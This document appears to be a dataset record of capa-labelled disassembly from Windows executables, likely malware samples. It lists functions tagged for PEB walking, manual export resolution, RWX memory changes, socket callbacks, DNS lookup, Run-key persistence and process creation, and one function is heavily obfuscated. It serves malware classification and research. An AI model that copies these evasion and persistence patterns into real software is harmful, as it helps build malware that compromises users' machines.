joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1411b6033
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add rbx, 8
mov r9d, 0xa4260988
add r9w, 0x9f15
sets r9b
movzx r9d, word [r10 + riz]
jl 0x14117245b
sbb rbx, 8
push 0x208609be
mov qword [rbx], r8
jmp 0x1411a6542
movzx ebx, byte [r8]
add r8, 1
call fcn.1411b1e99
movzx edi, word [r10]
mov edx, 0xb6168196
and edx, edx
lea rdx, [rdx + rdx*8 - 0x8fc9847]
adc r10, 2
call fcn.14116f7d5
mov rsi, qword [rbx]
mov r11d, 0x2e8af307
mov r11, qword [rbx + r11*2 - 0x5d15e606]
add rbx, 0x10
push 0xffffffffce8eae19
mov qword ss:[rsi], r11
call fcn.14117a040
je 0x1411b6029
xor r11b, r9b
sal cl, 0x82
sub word [rsp + 3], cx
rol cx, 0xce
lea r9, [rsp + r9 + 8]
bswap ecx
add ecx, dword [rsp + rcx - 0x7d2f6210]
setns cl
mov ecx, dword [r9 + riz]
shr byte [rsp + 3], 0x25
js 0x14116b5d8
sbb r8, 3
call fcn.1411af662
push r8
not word [rsp + rdx - 0x6dfc]
mov rdx, qword [rsp + rdx*2 - 0xdbf8]
mov rdi, qword [rsp + rdi*2 + 0x10]
movzx ebx, r11w
push r8
mov rax, qword [rsp + rbx - 0xf502]
mov r8, qword [rsp + rbx - 0xf4fa]
not dword [rsp + rbx*4 - 0x3d483]
pop r11
xchg r11b, bl
mov rbx, qword [rsp + rbx*2 - 0x1ea1c]
call fcn.14118d013
adc r10, 2
jmp 0x141196e1b
push 0xffffffffc8163895
sbb dword [rsp + 1], 0x5cbc3485
xor r8b, bpl
jmp 0x1411adf42
xor r9w, r11w
xor r9w, 0x7305
jmp 0x1411ad424
call fcn.14119e387
mov byte ss:[r9], bpl
call fcn.1411ade2b
mov eax, 0x503df696
movzx eax, word [r8 + rax - 0x503df696]
add r8, 2
mov esi, 0x83a87fbb
xor ax, r10w
dec ax
ror ax, 1
xor ax, 0xedb5
push rsi
shl sil, 7
neg ax
xor esi, esi
xor r10w, ax
lea rax, [rsp + rax + 8]
sal esi, 0xff
push rsi
adc sil, byte [rax + rsi]
mov byte [rsp + 1], 0x1c
sub r11, 2
mov word [r11], si
lea rsp, [rsp + 0x10]
jmp fcn.14116b1f9
call fcn.14119aa8f
xor r8b, 0xa
sub r8b, 0x8a
dec word [rsp + 2]
shr qword [rsp], 0x3d
push 0x42374e9d
neg r8b
neg dword [rsp + 0xb]
jl 0x14116939b
push 0xfffffffffc8e5cb9
dec r8b
call fcn.1411895db
mov rdx, qword [r11 + riz]
call fcn.14118dcb2
push 0xffffffffe6985c08
call fcn.141184644
mov ebx, 0xc9906c36
mov r8d, ebx
lea r8, [r8*4 - 0x52e48efa]
mov bx, word [r9 + riz]
sub r8b, r8b
adc r9, 2
dec r8w
setg r8b
sete r8b
sub r11, 1
rol r8b, 0x61
sub r8d, 0xf0b49701
inc r8
movzx r8d, byte [r11 + riz]
jbe 0x141185717
mov word [rsi], di
push 0x338a35a4
call fcn.14117ed64
Function at 0x140002008
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x1400660c0], 0
je 0x14000202b
mov edx, 1
jmp 0x1400021f2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
xor ebx, ebx
mov r8, qword [rax + 0x10]
xor eax, eax
mov rdx, qword [r8 + 0x30]
test rdx, rdx
je 0x14000208e
movsxd rcx, dword [rdx + 0x3c]
mov ecx, dword [rdx + rcx + 0x88]
test ecx, ecx
je 0x140002086
lea rax, [rcx + rdx]
mov ecx, dword [rax + 0xc]
add rcx, rdx
mov r9d, dword [rcx]
or r9d, 0x20202020
cmp r9d, 0x6c64746e
jne 0x140002086
mov ecx, dword [rcx + 4]
or ecx, 0x20202020
cmp ecx, 0x6c642e6c
je 0x140002098
mov r8, qword [r8]
mov rbx, rdx
jmp 0x140002040
test rax, rax
jne 0x14000209b
jmp 0x1400021f2
mov rbx, rdx
mov ebp, dword [rax + 0x1c]
mov edi, dword [rax + 0x24]
xor esi, esi
lea r13, [0x1400660c8]
mov edx, dword [rax + 0x18]
mov eax, dword [rax + 0x20]
add rdi, rbx
add rbp, rbx
lea r10d, [rdx - 1]
add rax, rbx
lea r12, [rax + r10*4]
add r10, r10
add r10, rdi
mov ecx, dword [r12]
add rcx, rbx
cmp word [rcx], 0x775a
jne 0x140002103
call fcn.140001f50
mov r11d, esi
inc esi
shl r11, 4
add r11, r13
mov dword [r11], eax
movzx eax, word [r10]
mov eax, dword [rbp + rax*4]
mov dword [r11 + 4], eax
xor eax, eax
mov qword [r11 + 8], rax
cmp esi, 0x1f4
je 0x140002115
sub r12, 4
lea rax, [r10 - 2]
cmp rdi, r10
je 0x140002115
mov r10, rax
jmp 0x1400020c7
mov dword [0x1400660c0], esi
lea ebp, [rsi - 1]
lea r10, [0x1400660c8]
test ebp, ebp
je 0x14000217c
lea rdx, [0x1400660c0]
xor ecx, ecx
lea eax, [rcx + 1]
mov r8d, dword [rdx + 0xc]
mov rcx, rax
shl rax, 4
add rax, r10
mov r9d, dword [rax + 4]
cmp r9d, r8d
jae 0x140002170
mov edi, dword [rdx + 8]
mov r11, qword [rdx + 0x10]
mov r12d, dword [rax]
mov dword [rdx + 0xc], r9d
mov r9, qword [rax + 8]
mov dword [rdx + 8], r12d
mov qword [rdx + 0x10], r9
mov dword [rax], edi
mov dword [rax + 4], r8d
mov qword [rax + 8], r11
add rdx, 0x10
cmp ecx, ebp
jb 0x140002132
dec ebp
jmp 0x140002125
mov eax, dword [0x1400660cc]
mov r13d, dword [0x1400660dc]
xor edi, edi
lea r15, [0x140062240]
sub r13d, eax
lea r12, [rbx + rax]
mov r14d, edi
cmp edi, r13d
jae 0x140002021
lea rdx, [r12 + rdi]
mov r8d, 3
mov rcx, r15
inc rdi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140002199
lea rdi, [0x1400660c0]
test r14d, r14d
je 0x140002021
add rdi, 0x10
cmp esi, ebp
je 0x140002021
mov ecx, dword [rdi - 4]
mov r8d, r13d
mov edx, r14d
inc ebp
add rcx, rbx
call fcn.140001f78
mov qword [rdi], rax
jmp 0x1400021ce
mov eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002df0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008a70
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008a70
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002e60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400680d4]
mov rbx, rcx
test esi, esi
jle 0x140002f90
mov rax, qword [0x1400680d8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002eab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002f35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002e90
mov rcx, rbx
call fcn.1400038b0
mov rdi, rax
test rax, rax
je 0x140002fb2
mov rax, qword [0x1400680d8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400039f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400680d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002f97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002f2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f40
add dword [0x1400680d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400680d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002f2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002df0
nop dword [rax]
xor esi, esi
jmp 0x140002eb8
mov rax, qword [0x1400680d8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002df0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002df0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003520
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140068140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140068120]
test rbx, rbx
je 0x14000357c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003573
test rsi, rsi
je 0x140003573
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003558
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400038b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140063760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400038d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400038d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400038d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000392d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003924
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400038d0
add rax, 0x28
cmp rax, r9
jne 0x140003910
xor eax, eax
ret

Function at 0x140003930
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140063760]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000394f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003958
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000394f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400039f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140063760]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003a0f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003a18
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001610
Capabilities:
Send data
Send data on socket

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
mov eax, dword [rcx + 0x28]
cmp dword [rcx + 0x24], eax
mov r12, rcx
jl 0x140001638
mov eax, 1
add rsp, 0x20
pop rbx
pop r12
pop r13
ret
mov edx, 5
call fcn.14000f1d0
test al, al
je 0x1400016e8
mov r8d, dword [r12 + 0x28]
lea rbx, [r12 + 0x30]
sub r8d, dword [r12 + 0x24]
lea r13, [r12 + 0x3d8]
cmp r8d, 0x2000
mov dword [r12 + 0x2c], r8d
jg 0x1400016f8
movsxd r8, r8d
mov rdx, r13
mov rcx, rbx
call fcn.14007b490
mov edx, dword [r12 + 0x2c]
mov rcx, r12
call fcn.14000f0e0
test al, al
je 0x1400016e8
mov r8d, dword [r12 + 0x2c]
mov rdx, r13
mov rcx, r12
call fcn.14000f070
test al, al
je 0x1400016e8
mov eax, dword [r12 + 0x2c]
add eax, dword [r12 + 0x24]
cmp eax, dword [r12 + 0x28]
mov dword [r12 + 0x24], eax
jne 0x140001624
lea rcx, [r12 + 0x40]
call fcn.14008cb90
test rax, rax
je 0x14000173e
mov edx, 4
mov rcx, r12
add rsp, 0x20
pop rbx
pop r12
pop r13
jmp fcn.14000f1d0
xor eax, eax
add rsp, 0x20
pop rbx
pop r12
pop r13
ret
mov r8d, 0x2000
mov rdx, r13
mov rcx, rbx
call fcn.14007b490
mov edx, 0x2000
mov rcx, r12
call fcn.14000f0e0
test al, al
je 0x1400016e8
mov r8d, 0x2000
mov rdx, r13
mov rcx, r12
call fcn.14000f070
test al, al
je 0x1400016e8
mov eax, dword [r12 + 0x24]
add eax, 0x2000
jmp 0x1400016b0
mov rax, qword [r12 + 0x30]
add rbx, qword [rax - 0x18]
mov edx, dword [rbx + 0x20]
mov rcx, rbx
or edx, 4
call fcn.1400b7a30
jmp 0x1400016cf

Function at 0x140001760
Capabilities:
Connect socket
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor r8d, r8d
mov edx, 1
mov rbx, rcx
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov r8d, 0x10
mov rcx, rax
mov qword [rbx + 0x23d8], rax
lea rdx, [rbx + 0x23e0]
call qword [sym.imp.WS2_32.dll_connect]
mov r8d, eax
xor eax, eax
test r8d, r8d
jne 0x1400017e7
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea r8, [0x140002300]
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov byte [0x1400f1030], 1
call fcn.140007980
call fcn.14000aba0
call fcn.140005cb0
call fcn.140005510
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x140002360
Capabilities:
Resolve dns

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc0
xor eax, eax
mov ecx, 6
lea r8, [rsp + 0x40]
mov r13, rdx
lea r9, [rsp + 0x38]
mov rdi, r8
rep stosq qword [rdi], rax
lea rdx, str.http
mov rcx, qword [r13]
mov dword [rsp + 0x48], 1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140002438
mov r12, qword [rsp + 0x38]
lea rbx, [rsp + 0x70]
test r12, r12
je 0x1400023f6
mov rdi, qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rbx, [rsp + 0x70]
mov rsi, qword [sym.imp.msvcrt.dll_strcpy_s]
nop dword [rax + rax]
mov rax, qword [r12 + 0x20]
mov ecx, dword [rax + 4]
call rdi
mov edx, 0x41
mov rcx, rbx
mov r8, rax
call rsi
mov r12, qword [r12 + 0x28]
test r12, r12
jne 0x1400023d0
mov r12, qword [rsp + 0x38]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov r8, qword [r13 + 8]
mov r9, rbx
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, r13
call fcn.1400aa630
mov eax, 1
add rsp, 0xc0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
mov ecx, eax
call fcn.140010770
mov ecx, 2
mov rbx, rax
call qword [fcn.140010990]
lea rdx, str.getaddrinfo:__ls_n
mov r8, rbx
mov rcx, rax
call fcn.140001530
xor eax, eax
add rsp, 0xc0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
Function at 0x140002470
Capabilities:
Initialize winsock library

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1c8
lea rdi, [rcx + 0x10]
mov r12, rcx
mov byte [rcx + 0x10], 0
mov rsi, rdx
lea r13, [rcx + 0x100]
mov qword [rcx], rdi
mov qword [rcx + 8], 0
lea r15, [rcx + 0x30]
mov rcx, r13
mov dword [rsp + 0x220], r8d
call fcn.1400b6790
mov rax, qword [0x1400c9f20]
xor ecx, ecx
xor edx, edx
mov word [r12 + 0x1e0], cx
pxor xmm0, xmm0
movups xmmword [r12 + 0x1e8], xmm0
movups xmmword [r12 + 0x1f8], xmm0
mov qword [r12 + 0x1d8], 0
add rax, 0x10
mov qword [r12 + 0x100], rax
mov rax, qword [0x1400c9a30]
mov rbx, qword [rax + 8]
mov rbp, qword [rax + 0x10]
mov rax, qword [rbx - 0x18]
mov qword [r12 + 0x30], rbx
mov qword [r12 + rax + 0x30], rbp
mov qword [r12 + 0x38], 0
mov rcx, qword [rbx - 0x18]
add rcx, r15
call fcn.1400b7860
mov rax, qword [0x1400c9c80]
lea r14, [r12 + 0x40]
mov rcx, r14
lea rdx, [rax + 0x18]
add rax, 0x40
mov qword [r12 + 0x30], rdx
mov qword [r12 + 0x100], rax
call fcn.14008e200
mov rdx, r14
mov rcx, r13
call fcn.1400b7860
lea r13, [r12 + 0x2d0]
lea rbp, [r12 + 0x208]
mov rcx, r13
call fcn.1400b6790
mov rax, qword [0x1400c9f20]
xor edx, edx
pxor xmm0, xmm0
mov word [r12 + 0x3b0], dx
xor edx, edx
movups xmmword [r12 + 0x3b8], xmm0
movups xmmword [r12 + 0x3c8], xmm0
mov qword [r12 + 0x3a8], 0
add rax, 0x10
mov qword [r12 + 0x2d0], rax
mov rax, qword [0x1400c9a40]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx - 0x18]
mov qword [r12 + 0x208], rbx
add rcx, rbp
mov rbp, qword [rax + 0x10]
mov qword [rcx], rbp
call fcn.1400b7860
mov rax, qword [0x1400c9c90]
lea r14, [r12 + 0x210]
mov rcx, r14
lea rdx, [rax + 0x18]
add rax, 0x40
mov qword [r12 + 0x208], rdx
mov qword [r12 + 0x2d0], rax
call fcn.14008e200
mov rdx, r14
mov rcx, r13
call fcn.1400b7860
lea rdx, [rsp + 0x20]
mov ecx, 0x102
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002638
xor ecx, ecx
call sub.msvcrt.dll_exit
nop dword [rax]
mov rdx, rsi
mov rcx, r12
call fcn.140002360
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [rsp + 0x220]
mov dword [r12 + 0x23e4], eax
call qword [sym.imp.WS2_32.dll_htons]
mov word [r12 + 0x23e2], ax
mov eax, 2
mov word [r12 + 0x23e0], ax
mov qword [0x1400f1038], r12
add rsp, 0x1c8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140004000
Capabilities:
Query or enumerate registry value

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x48
test rcx, rcx
mov rbx, rcx
mov r12, rdx
mov qword [rsp + 0x38], 0xffffffff80000002
mov rsi, r8
mov dword [rsp + 0x30], 0x800
mov dword [rsp + 0x34], 0
je 0x1400040d0
lea rax, [rsp + 0x38]
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rax
mov r9d, 0x101
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r13, qword [rsp + 0x38]
test eax, eax
jne 0x1400040c5
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.140010a70
lea rax, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
mov rcx, r13
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400040a6
mov eax, dword [rsp + 0x34]
cmp eax, 7
je 0x1400040b4
cmp eax, 1
je 0x1400040b4
mov dword [rsi], 0x412f4e
mov dword [rsp + 0x30], 6
test rbx, rbx
je 0x1400040c5
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x48
pop rbx
pop rsi
pop r12
pop r13
ret
mov r13, 0xffffffff80000002
jmp 0x140004061

Function at 0x140004690
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x470
lea rbx, [rsp + 0x60]
mov rdi, rdx
mov rsi, r8
mov qword [rsp + 0x58], 0
xor edx, edx
mov r8d, 0x410
mov r12, rcx
mov rcx, rbx
call fcn.140010a70
lea r8, [0x1400c421a]
mov edx, 0x208
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_wcscpy_s]
mov r8, rdi
mov edx, 0x208
mov rcx, rbx
mov rdi, qword [sym.imp.msvcrt.dll_wcscat_s]
call rdi
lea r8, [0x1400c421e]
mov edx, 0x208
mov rcx, rbx
call rdi
test rsi, rsi
je 0x140004711
mov r8, rsi
mov edx, 0x208
mov rcx, rbx
call rdi
lea rax, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rax
lea rdx, [0x1400c4228]
xor r13d, r13d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140004780
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000476e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, r13d
add rsp, 0x470
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
mov rcx, rbx
call sub.msvcrt.dll_wcslen
xor r8d, r8d
mov rcx, qword [rsp + 0x58]
mov rdx, r12
lea eax, [rax + rax + 2]
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete r13b
jmp 0x14000475e
Function at 0x140004b70
Capabilities:
Create process on windows

Disassembly:
push rdi
push rbx
sub rsp, 0xe8
xor eax, eax
xor r9d, r9d
lea r8, [rsp + 0x70]
mov r10, rcx
mov ecx, 0xd
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov rdi, r8
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
mov rcx, r10
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x70], 0x68
xor r8d, r8d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
nop
add rsp, 0xe8
pop rbx
pop rdi
ret

Function at 0x140005090
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x40
mov rbx, qword [0x1400c93d0]
lea rdx, str.Termination_requested:_Killing_self
mov r13, qword [rbx]
lea r12, [rsp + 0x20]
mov rcx, r12
call fcn.140004480
mov r8d, 2
mov rdx, r12
mov rcx, r13
call fcn.14000f2d0
mov rcx, qword [rsp + 0x20]
lea rax, [rsp + 0x30]
cmp rcx, rax
je 0x140005055
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, qword [rbx]
call fcn.140001eb0
xor ecx, ecx
call sub.msvcrt.dll_exit
mov rcx, qword [rsp + 0x20]
mov r12, rax
lea rax, [rsp + 0x30]
cmp rcx, rax
je 0x140005084
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, r12
call fcn.14001b780
nop
nop
nop
sub rsp, 0x28
mov rcx, qword [0x1400f10c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400050c8
mov rdx, qword [0x1400f10a0]
xor r8d, r8d
mov rcx, qword [0x1400f10e0]
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rcx, qword [0x1400f10c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x1400050a6
Function at 0x140005e20
Capabilities:
Query environment variable

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
mov r8, qword [0x1400c9400]
cmp qword [r8 + 8], 0
lea rbx, [rsp + 0x30]
mov r12, rcx
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], 0
je 0x140005eee
lea rcx, [rsp + 0x40]
lea rdx, [0x1400c4396]
call fcn.1400bd630
mov rax, qword [rsp + 0x40]
lea rsi, [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x48]
cmp rax, rsi
je 0x140006018
mov rdx, qword [rsp + 0x50]
movq xmm0, r8
cmp rcx, rbx
movq xmm2, rdx
punpcklqdq xmm0, xmm2
je 0x140006070
test rcx, rcx
mov r9, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x30], rdx
je 0x14000607a
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x48], 0
mov byte [rcx], 0
mov rcx, qword [rsp + 0x40]
cmp rcx, rsi
je 0x140005eee
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rax, qword [0x1400c9480]
lea rsi, [r12 + 0x10]
mov qword [r12 + 8], 0
mov qword [r12], rsi
mov byte [r12 + 0x10], 0
mov rcx, qword [rax]
call sub.msvcrt.dll_getenv
test rax, rax
mov rdx, rax
je 0x140005fb2
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0x20]
call fcn.1400bd630
mov rax, qword [rsp + 0x60]
lea rdi, [rsp + 0x70]
mov rcx, qword [r12]
mov r8, qword [rsp + 0x68]
cmp rax, rdi
je 0x140005fe0
mov rdx, qword [rsp + 0x70]
movq xmm0, r8
cmp rsi, rcx
movq xmm1, rdx
punpcklqdq xmm0, xmm1
je 0x140006050
test rcx, rcx
mov r9, qword [r12 + 0x10]
mov qword [r12], rax
mov qword [r12 + 8], r8
mov qword [r12 + 0x10], rdx
je 0x14000605a
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x68], 0
mov byte [rcx], 0
mov rcx, qword [rsp + 0x60]
cmp rcx, rdi
je 0x140005fb2
mov rax, qword [rsp + 0x70]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, qword [rsp + 0x20]
cmp rcx, rbx
je 0x140005fca
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rax, r12
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
ret
test r8, r8
je 0x140006000
cmp r8, 1
je 0x140006090
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov r8, qword [rsp + 0x68]
mov rcx, qword [r12]
mov qword [r12 + 8], r8
mov byte [rcx + r8], 0
mov rcx, qword [rsp + 0x60]
jmp 0x140005f8e
test r8, r8
je 0x140006039
cmp r8, 1
je 0x1400060a8
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x28], r8
mov byte [rcx + r8], 0
mov rcx, qword [rsp + 0x40]
jmp 0x140005eca
mov qword [r12], rax
movups xmmword [r12 + 8], xmm0
mov qword [rsp + 0x60], rdi
lea rdi, [rsp + 0x70]
mov rcx, rdi
jmp 0x140005f8e
mov qword [rsp + 0x20], rax
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x40], rsi
lea rsi, [rsp + 0x50]
mov rcx, rsi
jmp 0x140005eca
movzx eax, byte [rsp + 0x70]
mov byte [rcx], al
mov r8, qword [rsp + 0x68]
mov rcx, qword [r12]
jmp 0x140006000
movzx eax, byte [rsp + 0x50]
mov byte [rcx], al
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
jmp 0x140006039
Function at 0x140006100
Capabilities:
Create process on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x128
cmp byte [0x1400f1090], 0
je 0x140006245
mov rax, qword [0x1400c9490]
cmp byte [rax], 0
jne 0x140006245
mov rax, qword [0x1400c94b0]
movzx ebx, byte [rax]
test bl, bl
jne 0x140006258
xor r12d, r12d
mov rdx, qword [0x1400f10a0]
lea rsi, [rsp + 0x80]
mov r8, qword [0x1400f10a8]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rsi
add r8, rdx
call fcn.1400040e0
mov r10, qword [rsp + 0x70]
xor eax, eax
mov ecx, 0xd
xor r9d, r9d
lea rdx, [rsp + 0xb0]
xor r8d, r8d
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
